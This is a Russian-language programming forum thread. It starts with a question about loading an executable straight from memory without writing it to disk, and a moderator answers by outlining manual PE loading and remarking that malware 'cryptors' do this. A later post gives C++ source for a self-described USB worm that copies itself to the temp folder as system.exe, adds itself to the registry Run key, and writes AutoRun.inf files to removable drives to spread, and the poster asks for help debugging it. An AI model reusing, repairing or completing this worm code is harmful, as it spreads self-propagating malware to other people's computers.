| 
		
		
		
	
		
		
	
		
		
			| [C++] Запуск exe из массива в память. Как? |  |  |  | 
| Slash | Дата: Воскресенье, 09.02.2014, 21:59 | Сообщение # 1 |  |   ПостоянныйЗарегистрирован: 20.12.2012 Группа: Пользователи Сообщений: 161 Статус: Offline | Собственно я считал exe файл в массив, как его запустить напрямую из массива без создание файлов на диске??? 
 
 Сообщение отредактировал Slash - Воскресенье, 09.02.2014, 21:59 |  |  |  |  |  | 
| Волк-1024 | Дата: Воскресенье, 09.02.2014, 23:29 | Сообщение # 2 |  |   АвторитетныйЗарегистрирован: 24.07.2011 Группа: Модераторы Сообщений: 469 Статус: Offline | Если в кратце то: сначала выравниваешь секции, затем делаешь релокацию образа, правишь импорт, экспорт (если есть) и затем создаёшь поток с точкой EP. В общем много кода придётся городить. 
 Pascal, C\C++, Assembler, Python
 
 
 Сообщение отредактировал Волк-1024 - Воскресенье, 09.02.2014, 23:30 |  |  |  |  |  | 
| Slash | Дата: Понедельник, 10.02.2014, 00:01 | Сообщение # 3 |  |   ПостоянныйЗарегистрирован: 20.12.2012 Группа: Пользователи Сообщений: 161 Статус: Offline | Цитата Волк-1024 (  ) Если в кратце то: сначала выравниваешь секции, затем делаешь релокацию образа, правишь импорт, экспорт (если есть) и затем создаёшь поток с точкой EP. В общем много кода придётся городить. А примерчик?
 |  |  |  |  |  | 
| Волк-1024 | Дата: Понедельник, 10.02.2014, 03:00 | Сообщение # 4 |  |   АвторитетныйЗарегистрирован: 24.07.2011 Группа: Модераторы Сообщений: 469 Статус: Offline | Гуглим: 
 http://www.rsdn.ru/article/baseserv/peloader.xml
 http://www.delphibasics.info/home....erazerz
 https://code.google.com/p....0
 http://winlock.ru/viewtopic.php?id=1540
 
 И вообще данный функционал есть в любом мало-мальски нормальном крипторе.
 
 Добавлено (10.02.2014, 01:56)
 ---------------------------------------------
 В первой ссылке ответы на все вопросы.
 Добавлено (10.02.2014, 03:00)---------------------------------------------
 Аххх.. чёрт, не заметил, что нужно на С++, а не на Делфи
  
 Pascal, C\C++, Assembler, Python
 
 
 Сообщение отредактировал Волк-1024 - Понедельник, 10.02.2014, 02:59 |  |  |  |  |  | 
| Волк-1024 | Дата: Понедельник, 10.02.2014, 03:04 | Сообщение # 5 |  |   АвторитетныйЗарегистрирован: 24.07.2011 Группа: Модераторы Сообщений: 469 Статус: Offline | Вот. 
 Pascal, C\C++, Assembler, Python
 |  |  |  |  |  | 
| Slash | Дата: Понедельник, 10.02.2014, 22:31 | Сообщение # 6 |  |   ПостоянныйЗарегистрирован: 20.12.2012 Группа: Пользователи Сообщений: 161 Статус: Offline | Цитата Волк-1024 (  ) Прикрепления: peldr.zip(35Kb) · PEImage.zip(9Kb) · pe_lib_0.1.5.zip(229Kb) 
Благодарствую.
 |  |  |  |  |  | 
| Волк-1024 | Дата: Понедельник, 10.02.2014, 23:34 | Сообщение # 7 |  |   АвторитетныйЗарегистрирован: 24.07.2011 Группа: Модераторы Сообщений: 469 Статус: Offline | Ещё. 
 Pascal, C\C++, Assembler, Python
 |  |  |  |  |  | 
| Slash | Дата: Среда, 12.02.2014, 01:58 | Сообщение # 8 |  |   ПостоянныйЗарегистрирован: 20.12.2012 Группа: Пользователи Сообщений: 161 Статус: Offline | Цитата Волк-1024 (  ) Ещё.Спасибо!
 
 
 Сообщение отредактировал Slash - Среда, 12.02.2014, 02:02 |  |  |  |  |  | 
| Volf | Дата: Пятница, 28.02.2014, 09:29 | Сообщение # 9 |  |   Частый гостьЗарегистрирован: 11.04.2013 Группа: Пользователи Сообщений: 41 Статус: Offline | Доброе время суток! Начал изучать C++ возникла куча вопросов с которыми постепенно разбираюсь!
 Но вот незадача,решил написать простенький червячок.Копируется в папку темп и тупо создает файл AutoRun.inf на съемных дисках.
 Проблем заключается в том что я толком не знаю как юзать преобразование переменных.В результате на флешке выше указанный файл не создается.Зато в папке с программой появляется файл имя которого это буква съемного диска,в файле текст моего авторана.Смотрел по шагово выполнение программы отладчиком..не помогло.
 Кому интересно гляньте код,готов к любой критике))
 
 Код  #include <fstream>
 #include "StdAfx.h"
 #include <io.h>
 #include <windows.h>
 #include <stdio.h>
 //#define MAX_LOADSTRING 100
 
 bool IsFileExist(LPCTSTR strFileName)
 {
 HANDLE hFile = ::CreateFile(strFileName,
 GENERIC_READ,
 FILE_SHARE_READ,
 NULL,
 OPEN_EXISTING,
 FILE_ATTRIBUTE_NORMAL,
 NULL);
 return (hFile != INVALID_HANDLE_VALUE);
 }
 
 BOOL AddMyProgramToAutostart(TCHAR* szPath)
 {
 HKEY hKey = NULL;
 RegOpenKey(HKEY_CURRENT_USER,TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),&hKey);
 if(!hKey)
 return(FALSE);
 RegSetValueEx(hKey,TEXT("Irbis"),0,REG_SZ,(PBYTE)szPath,lstrlen(szPath)*sizeof(TCHAR));
 RegCloseKey(hKey);
 return(TRUE);
 }
 
 void  AvtoRun(LPCTSTR name)
 {
 
 //_tcscat((wchar_t *)name,L"AutoRun.inf");
 
 FILE *file=fopen ((PCHAR)(LPCTSTR)name,"w");
 
 MessageBox(0,(LPCTSTR)name,0,0);
 
 if (file)
 {
 
 fprintf(file, "[autorun]\nOpen=usbdrive.exe\n");
 fprintf(file, "icon=%%SystemRoot%%\\system32\\SHELL32.dll,4\n");
 fprintf(file, "action=Open folder to view files\n");
 fprintf(file, "shell\\open=Open\n");
 fprintf(file, "shell\\open\\command=usbdrive.exe\n");
 fprintf(file, "shell\\open\\default=1\n");
 fclose(file);
 }
 else
 {
 MessageBox(0,0,0,0);
 }
 }
 //Заражение флешек
 PCHAR find_usbflash ()
 {
 TCHAR*  FIleR[5];
 TCHAR  buf[100];
 
 int  i;
 int Ser = rand() % 5 ;
 
 PCHAR    drive;
 
 TCHAR buffer[MAX_PATH];
 DWORD len = GetLogicalDriveStrings(sizeof(buf)/sizeof(TCHAR),buf);
 for(TCHAR* s=buf; *s; s+=_tcslen(s)+1)
 {
 LPCTSTR sDrivePath = s;
 
 UINT uDriveType = GetDriveType(sDrivePath);
 if (uDriveType == DRIVE_REMOVABLE)
 {
 
 
 AvtoRun(((LPCTSTR)s));
 
 
 }
 return 0;
 }
 }
 }
 
 //*******************
 
 //Создание мьютекса
 bool MyMytex()
 {
 HANDLE hMutex;
 hMutex = CreateMutex(NULL,TRUE,_T("/1/"));
 if (GetLastError() == ERROR_ALREADY_EXISTS)
 {
 return true;
 }
 else
 {
 return false;
 }
 }
 //*************
 //Процедура установки программы
 BOOL Setap()
 {
 TCHAR buffer[MAX_PATH];
 TCHAR temp[MAX_PATH];
 
 STARTUPINFO si;
 memset(&si, 0, sizeof(si));
 si.cb = sizeof(si);
 PROCESS_INFORMATION pi;
 memset(&pi, 0, sizeof(pi));
 
 
 
 GetModuleFileName(NULL,buffer,sizeof(buffer));
 GetTempPath(MAX_PATH,temp);
 _tcscat(temp,_T("system.exe"));
 
 if(IsFileExist(temp))
 {
 AddMyProgramToAutostart(temp);
 
 }
 else
 {
 CopyFile(buffer,temp,false);
 CreateProcess(NULL, temp, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
 AddMyProgramToAutostart(temp);
 ExitProcess(0);
 }
 
 return 0;
 }
 //**********
 
 int FindKey()
 {
 int kodkey;
 short key=GetKeyState(kodkey);
 switch(key)
 {
 case VK_LCONTROL:MessageBox(0,0,0,0);
 
 }
 return key;
 }
 
 //Маин класс
 int APIENTRY _tWinMain(HINSTANCE hInstance,
 HINSTANCE hPrevInstance,
 LPTSTR    lpCmdLine,
 int       nCmdShow)
 {
 
 if(MyMytex()==true)
 {
 ExitProcess(0);
 }
 
 
 Setap();
 
 while(true)
 {
 Sleep(5000);
 
 find_usbflash();
 }
 return 0;
 }
 //**********
 
 |  |  |  |  |  
 |